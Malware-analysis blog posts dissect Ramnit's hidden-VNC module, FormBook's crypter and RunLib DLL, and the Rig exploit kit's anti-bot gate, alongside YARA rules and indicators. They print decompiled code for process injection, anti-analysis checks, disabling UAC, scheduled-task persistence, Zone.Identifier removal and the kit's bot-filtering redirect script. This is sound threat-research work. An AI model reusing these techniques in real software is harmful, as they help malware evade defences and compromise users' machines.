    • CookieGrabber
    • Cookie Grabber v0.2 (no mask)
    • FFCH
    • FF&Chrome reinstall x64-x86 [silent]
    • Hooker
    • IE & Chrome & FF injector
    • VNC IFSB
    • VNC IFSB x64-x86

    HVNC allows criminals to bypass many anti-fraud measures by allowing compromised accounts to be accessed directly from the victim’s machine. By using a VNC program, which allows for remote access to and control of a machine, Ramnit actors do not have to spoof or try to replicate a victim machine’s data to avoid the account being flagged. HVNC allows actors to carry out these activities concurrent with regular user activity without being detected by operating in a hidden desktop.
    The DLL module contains the following three export ordinals:

    Ordinal Export Function
    00000000 PluginRegisterCallbacks
    00000002 VncStartServer
    00000003 VncStopServer

    Here is one of the most interesting sequences of hidden desktop calls with injection:

    Start -> init_modules function -> session_control_thread function -> VNC session communication function -> send VNC encode function -> VNC draw BitBlt function -> hidden Desktop initiation -> creation of hidden explorer.exe -> create_process_inject function -> AcInjectDll function (check x86/x64) hooking CreateProcess* -> map memory into the process and inject it with RunPE injection

    Analysis:
    Ramnit’s VNC module leverages a set of programs using the Remote Frame Buffer (RFB) protocol hooking multiple API calls and leveraging ISFB AcDLL injection module. Not only the whole Ramnit module was pulled directly from the ISFB gang, the module itself has strong source code similarities to the leaked Carberp one.

    The following pseudocoded C++ function demonstrates the location of the “explorer.exe” with the subsequent create process injection.

     1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    signed int __stdcall explorer_exe(int a1)
    {
    int v1;
    int v2;
    signed int result;
    CHAR *v4;
    CHAR *v5;
    int v6;
    char v7;
    int v8;
    DWORD v9;

    v1 = a1;
    v9 = 0;
    v6 = 0;
    memset(&v7, 0, 0x40u);
    v2 = GetSystemWindowsDirectoryA(0, 0);
    if ( v2 )
    {
    v4 = HeapAlloc(hHeap, 0, v2 + 15);
    v5 = v4;
    if ( v4 )
    {
    GetSystemWindowsDirectoryA(v4, v2);
    v5[v2] = 0;
    lstrcatA(v5, "\\explorer.exe");
    v8 = v1 + 1488;
    v6 = 68;
    if ( create_process_inject(v5, &v6, v1 + 12) ) // AcDLL injection
    {
    CloseHandle(*(v1 + 16));
    CloseHandle(*(v1 + 12));
    }
    else
    {
    v9 = GetLastError();
    }
    }
    else
    {
    v9 = 8;
    }
    result = v9;
    }
    else
    {
    result = -1;
    }
    return result;
    }

    YARA RULE

    rule crime_win32_ramnit_vnc_module_in_memory {
    meta:
    description = “Detects Ramnit banking malware VNC module”
    author = “@VK_Intel”
    reference = “Detects Ramnit VNC”
    date = “2018-02-18”
    hash = “888b2c614567fb5b4474ddeeb453f8cd9f44d72efb325f7e3652fd0f748c08f1”
    strings:
    $s0 = “Failed mapping a section to the target process, status 0x%x” fullword ascii
    $s1 = “Unable to map the section into the target process, error %u” fullword ascii
    $s2 = “Unable to resolve target process import, error %u” fullword ascii
    $s3 = “No module found for the target process (%u) architecture” fullword ascii
    $s4 = “A section of %u bytes mapped to the target process at 0x%p” fullword ascii
    $s5 = “CreateProcessAsUserA %s->%s failed” fullword ascii
    $s6 = “Dep PsSupGetProcessModules, ModCount = %d ” fullword ascii
    $s7 = “ActiveDll: PatchProcessMemory failed, error: %u” fullword ascii
    $s8 = “CreateProcessAsUserW %S->%S failed” fullword ascii
    $s9 = “AcInjectDll: GetOEP failed, error: %u” fullword ascii
    $s10 = “Shared section mapped at 0x%p. Starting within VNC session process.” fullword ascii
    $s11 = “CreateToolhelp32Snapshot (of processes) failed err=%lu” fullword ascii
    condition:
    11 of ($s*)
    }

    Let’s Learn: Dissecting FormBook Infostealer Malware: Crypter & "RunLib.dll"

    Goal: Dissect and outline the main functions of FormBook crypter and its RunLib main injection DLL.
    Source:

    While analyzing one of the more recent #FormBook campaigns, came across an interesting FormBook crypter and its “RunLib” DLL module.

    https://platform.twitter.com/widgets.js
    Outline:

    I. Background
    II. First-layer deobfuscated loader
    A. XOR decoding routine
    B. Fake MessageBox routine
    C. Injection 
    D. Anti-Analysis
    III. RunLib.dll 
    A. Main injection routine
    B. UAC and registry disable registry function
    C. ElevateProcess function
    D. Task Scheduler persistence
    E. Zone.Identifier remove
    IV. Yara RULE

    I. Background:
    FormBook is a formgrabbing malware that is available on the underground. It continuously evolves leveraging VBCrypter -> RunPE packers and is written in .NET. FireEye and Arbor extensively covered the binary functionality of the FormBook stealer.
    It is the same crypter called internally “classicrefud.” It is also referenced as “Prime Crypt – The Babushka Crypter” [1] by  InsideMalware.
    II. First-layer deobfuscated loader:

    The PDB path for the binary crypter is as follows:

    C:\Users\zeros\OneDrive\Documents\Visual Studio 2017\projects\classicrefud\Classlibrary1\Obj\Release\graznataguz.pdb
    A. XOR decoding routine

    FormBook decodes resource via the following decoding function  (censored) with the static key “ZTZZCVBMVUTBOMTTIZICXOVBOUIIRUUEBUEXOEEXNBUBTCBEOOCVCUEMOUNNIUOOERZROI.”

    public static byte[] b****k(byte[] feromero, byte[] malkopute, string golemiq)
    {
    malkopute = Encoding.get_ASCII().GetBytes(golemiq);
    for (int i = 0; i < feromero.Length; i++)
    {
    int expr_18_cp_1 = i;
    feromero[expr_18_cp_1] ^= (byte)(malkopute[i % golemiq.get_Length()] >> i + 5 + malkopute.Length & 150);
    }
    return feromero;
    }
    B. Fake MessageBox routine

    The malware contains the fake MessageBox logic from the member function “mb.”

    type.InvokeMember(“mb“,256, null, Activator.CreateInstance(type), new object[]
    {
    “[BODY]”,
    “[TITLE]”,
    “warning”,
    “[MSGONCE]”
    });

    C. Injection 

    The binary injects the decoded resource to svchost (suspended) RunPE style the payload “SYRPSVT.exe.

    type.InvokeMember(“Inj“,256,null, Activator.CreateInstance(type), new object[]
    {
    array3,
    svchost“,
    false,
    false,
    false,
    SYRPSVT.exe“,
    PP1PP2
    });

    IV. Anti-analysis
    The malware contains various anti-analysis tricks checking for debugger, analysis tools, and emulation environment.
    a. DWireshark()

    private static bool DWireshark()
    {
    Process[] processes = Process.GetProcesses();
    Process[] array = processes;
    for (int i = 0; i < array.Length; i++)
    {
    Process process = array[i];
    if (process.get_MainWindowTitle().Equals(“The Wireshark Network Analyzer“))
    {
    return true;
    }
    }
    return false;

    }

    b. IsDebuggerPresent() 

    [DllImport(“kernel32“)]

    private static extern bool IsDebuggerPresent();

    c. DEmulation()

    private static bool DEmulation()
    {
    long num = (long)Environment.get_TickCount();
    Thread.Sleep(500);
    long num2 = (long)Environment.get_TickCount();
    return num2 – num < 500L;
    }

    d. DSandboxie()

    private static bool DSandboxie()
    {
    return AA3.GetModuleHandle(“SbieDll.dll“).ToInt32() != 0;
    }

    III. RunLib DLL function

    A. Main injection routine
    The malware checks for Avast anti-virus and injects its code into svchost.exe; alternatively, it creates the process svcchost.exe with the argument -woohoo.

    B. UAC and registry disable registry function
    FormBook also attempts to disable UAC and registry tools via the function called internally “dbl.”

    public static void dbl(bool[] dis)
    {
    try
    {
    if (dis[0])
    {
    try
    {
    RegistryKey expr_15 = Registry.LocalMachine.OpenSubKey(“SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System“, true);
    expr_15.SetValue(“EnableLUA“, “0”);
    expr_15.Close();
    }
    catch
    {
    }
    }
    if (dis[2])
    {
    try
    {
    RegistryKey expr_43 = Registry.CurrentUser.CreateSubKey(“Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System“);
    expr_43.SetValue(“DisableRegistryTools“, “1“);
    expr_43.Close();
    }
    catch
    {
    }
    }
    }
    catch (Exception)
    {
    }
    }

    C. ElevateProcess function
    The binary also attempts to elevate process via the following function:

    private static void ElevateProcess(IntPtr handle)
    {
    try

    {
    byte[] array = new byte[0];
    uint num = 0u;
    RunLib.GetKernelObjectSecurity(handle, 4, array, 0u, ref num);
    array = new byte[num];
    RunLib.GetKernelObjectSecurity(handle, 4, array, num, ref num);

    RawSecurityDescriptor expr_2F = new RawSecurityDescriptor(array, 0);
    expr_2F.get_DiscretionaryAcl().InsertAce(0, new CommonAce(0, 1, Convert.ToInt32(987135), new SecurityIdentifier(1, null), false, null));
    array = new byte[expr_2F.get_BinaryLength()];
    expr_2F.GetBinaryForm(array, 0);
    RunLib.SetKernelObjectSecurity(handle, 4, array);
    }
    catch
    {
    }
    }

    D. Task Scheduler persistence

    The binary sets up persistence via the task scheduler XML file with its template stored in the resource section. The function is called internally “okapise.”

    public static void okapise(string location, string filename, string value, bool hide)
    {

    Directory.CreateDirectory(Environment.GetFolderPath(26) + “\\” + value);
    string text = string.Concat(new string[]
    {
    Environment.GetFolderPath(26),
    “\\”,
    value,
    “\\”,
    filename
    });
    string text2 = string.Concat(new string[]
    {
    Environment.GetFolderPath(26),
    “\\”,
    value,
    “\\”,
    RunLib.RndString(5),
    .xml
    });

    string name = WindowsIdentity.GetCurrent().get_Name();
    string text3 = Resources.TE;
    if (!(location == text))
    {
    File.Copy(location, text, true);
    }
    bool flag = (File.GetAttributes(location) & 2) == 2;
    if (hide && !flag)
    {
    File.SetAttributes(text, File.GetAttributes(text) | 2);
    }
    text3 = text3.Replace(“[USERID]“, name).Replace(“[LOCATION]”, text);
    File.WriteAllText(text2, text3);
    ProcessStartInfo expr_124 = new ProcessStartInfo(“schtasks.exe“, string.Concat(new string[]
    {
    “/Create /TN \”” + value + “\\”,
    value,
    “\” /XML \””,
    text2,
    “\””
    }));
    expr_124.set_WindowStyle(1);
    Process.Start(expr_124).WaitForExit();
    File.Delete(text2);

    }


    E. Zone.Identifier
    The malware also modifies the flag to remove or modify Zone.Identifier to avoid additional checks that might show the binary was downloaded externally.
    The function “remove” is as follows:

    private static void remove(string path)
    {
    try
    {
    RunLib.DeleteFile(path + “:Zone.Identifier“);
    }
    catch (Exception)
    {
    RunLib.modify(0, path);
    }
    }

    The function “modify” is as follows:


    private static void modify(int m, string path)
    {
    try
    {
    ProcessStartInfo expr_3A = new ProcessStartInfo(“cmd.exe“, string.Concat(new object[]

    {
    /c echo [zoneTransfer]ZoneID = “,
    m,
     > “,
    path,
    “:Zone.Identifier & exit”
    }));
    expr_3A.set_WindowStyle(1);
    Process.Start(expr_3A).WaitForExit();
    Thread.Sleep(1000);
    }
    catch (Exception) {
    }
    }


    IX. YARA RULE

    rule crime_win32_formbook_runlib_in_memory{

    meta:
    description = “Detects the FormBook’s runlib DLL in memory”
    author = “@VK_Intel”
    reference = “Detects the unpacked FormBook RunLib”
    date = “2018-01-21”
    hash = “a285feabf146fe4d944acc20b4d7ad2258e5084b0440960bd2b7df662e6cf7d6”

    strings:
    $s0 = “C:\\Users\\zeros\\OneDrive\\Documents\\Visual Studio 2017\\Projects\\ClassicRefud\\ClassLibrary1\\obj\\Release\\graznataguz.pdb” fullword ascii
    $s1 = “C:\\Windows\\System32\\svchost.exe” fullword wide
    $s2 = “\\System32\\svchost.exe” fullword wide
    $s3 = “RunLib” fullword wide
    $s4 = “[LOCATION]” fullword wide 
    $s5 = “mscoree.dll” ullword wide 
    condition:
    all of them
    }

    rule crime_win32_formbook_first_layer_unpacked {
    meta:
    description = “Detects the FormBook’s main runner in memory”
    author = “@VK_Intel”
    reference = “Detects first-layer FormBook binary unpacked”
    date = “2018-01-21”
    hash = “e4d8d6bbb80a2ddf9d4b28ac1dec354cdd59dd633e2dca13ef93b5e4fcb4abd5”
    strings:
    $s0 = “DSandboxie” fullword ascii
    $s1 = “DWireshark” fullword ascii
    $s2 = “DEmulation” fullword ascii
    $s3 = “mb” fullword ascii
    $s4 = “svchost” fullword ascii
    condition:
        all of them
    }

    Let’s Learn: Dissect Rig Exploit Kit Anti-Bot Filter Gate

    Background:

    • While analyzing the latest malvertising campaign leading to the Rig Exploit Kit (EK), I observed an interesting anti-bot gate filter script that is used by the Rig EK to filter out bot requests and/or ensure browsers and their objects are genuine. Otherwise, the script would not redirect to the eventual Rig landing page. It appears the Rig EK operator implemented it to filter out automated bot crawlers and bad browsers in order to provide better traffic quality for malicious installs.

    Indicators of Compromise:

    SUBJECT INDICATOR
    Rig EK Landing 176.57.208[.]146
    Ramnit Banking malware 6ee3d4e6b9cec67165e90f7ee7c9c33b
    Rig SWF Flash exploit CVE-2015-8651 e97ea1f6f44ef539c62b60c9900ae21d
    Rig Anti-Bot Filter Gate 5a21cb7dcbefe71f0cc263d694f6eef5
    Rig EK Landing Page 809ec26b2ab724e87bf60e467d9534ac

    Summary:

    • The malvertising campaign leads to Seamless gate hosted at the Punycode represented domain with the prefix xn--. The gate iframe script redirects to the seemingly new Rig anti-bot filter gate that eventually leads to the landing page serving its usual Flash exploit CVE-2015-8651 that drops Ramnit banking malware on the vulnerable machines.

    Scope:

    • The subject of the blog is to document the observed Rig EK anti-bot filter gate.
    Rig EK Anti-Bot Filter Gate:

    • Initially, the JavaScript function runs iframe window.setTimout speed of 88 milliseconds with the style=visibility:hidden.

    I. The anti-bot BrowserGet() function obtains user agent information and parses the browser information with the objects as follows:
    {
               browser: ‘unknown’,
               browser_real: ”,
               is_bot: false,
               browser_quality: 0,
               platform: ‘desktop’,
               versionFull: ”,
               versionShort: ”
    };

    II. Essentially, the script parses the visitor for the following browsers and versions:

    • Microsoft Edge
    • Internet Explorer
    • Firefox
    • Opera
    • YaBrowser
    • Chrome
    • Safari
    • Maxthon

    III. Then, the script checks if the visit comes from a mobile device as follows:

     if(/iphone|ipad|ipod|android|blackberry|mini|windows\sce|palm/i.test(navigator.userAgent.toLowerCase())) browsrObj.platform = ‘mobile‘;

    IV. Notably, the Rig anti-bot gate also performs the so-called browser quality check essentially verifying by running browser-specific value checks and filtering mobile agents. Finally, the script runs checks to verify the aforementioned browser object ‘browser_real‘ matches ‘browser_quality.’
    The script checks for the following browser objects:

    Internet Explorer -> window value check for the presence of “ActiveXObject
    Google Chrome -> window value check for the presence of “chrome
    Opera -> window value check for the presence of “opera
    Mozilla Firefox -> document value check for the presence of “getBoxObjectFor” or window check for “mozInnerScreenX”
    Google Chrome -> window value check for the presence of ‘WebKitCSSMatrix‘, ‘WebKitPoint‘, ‘webkitStorageInfo‘, ‘webkitURL

    The relevant script is as follows:

       var w=window,d=document;

       var CorrectBrowser = true;

       var uaBrowser = browsrObj;

       var isIE = isChrome = isFirefox = isOpera = 0;

       if(uaBrowser.platform != ‘mobile’ && (browsrObj.browser == ‘ie’ || browsrObj.browser == ‘chrome’ || browsrObj.browser == ‘firefox’)) {
           if(‘ActiveXObject‘ in window) isIE++;
           if(‘chrome‘ in window) isChrome++;                
           if(‘opera‘ in window) isOpera++;
           if(‘getBoxObjectFor‘ in d || ‘mozInnerScreenX‘ in w) isFirefox++;
           if(‘WebKitCSSMatrix‘ in w||’WebKitPoint‘ in w||’webkitStorageInfo‘ in w||’webkitURL‘ in w) isChrome++;
           var f=0;
           f|=’sandbox’ in d.createElement(‘iframe’)?1:0;
           f|=’WebSocket’ in w?2:0;
           f|=w.Worker?4:0;
           f|=w.applicationCache?8:0;
           f|=w.history && history.pushState?16:0;
           f|=d.documentElement.webkitRequestFullScreen?32:0;
           f|=’FileReader’ in w?64:0;       
           if(f==0) isIE++;    
           if(isIE > 0) {
               browsrObj.browser_real = ‘ie‘;
               browsrObj.browser_quality = isIE;
           }
           if(isChrome > 1 && isFirefox == 0) {
               browsrObj.browser_real = ‘chrome‘;
               browsrObj.browser_quality = isChrome;
           }
           if(isFirefox > 0 && isChrome == 0) {
               browsrObj.browser_real = ‘firefox‘;
               browsrObj.browser_quality = isFirefox;
           }
           if(uaBrowser.browser != uaBrowser.browser_real) browsrObj.is_bot = true;
       } 

    V. If the browser object is_bot is not to “true,” the script reaches out to the usual RIG Exploit Kit landing pages that ultimately serves Ramnit banking malware via the Flash SWF CVE-2015-8651 exploit; otherwise, the script runs document.write() and dies.

       function FuncStart() {
    BrowserInfo = BrowserGet();
    if(BrowserInfo.is_bot == true) {
    document.write(”);

    } else {
          if(BrowserInfo.browser_real==’ie‘) {
        window.frames[0].document[“body”].innerHTML = ‘<form target="_parent" method="post" action="'+LinkToUrl+'”>’; 

        window.frames[0].document.forms[0].submit();
          }
    }

    p.p1 {margin: 0.0px 0.0px 0.0px 0.0px; font: 8.5px Helvetica} p.p2 {margin: 0.0px 0.0px 0.0px 0.0px; font: 8.5px Helvetica; min-height: 11.0px}
    p.p1 {margin: 0.0px 0.0px 0.0px 0.0px; font: 8.5px Helvetica} p.p2 {margin: 0.0px 0.0px 0.0px 0.0px; font: 8.5px Helvetica; min-height: 11.0px}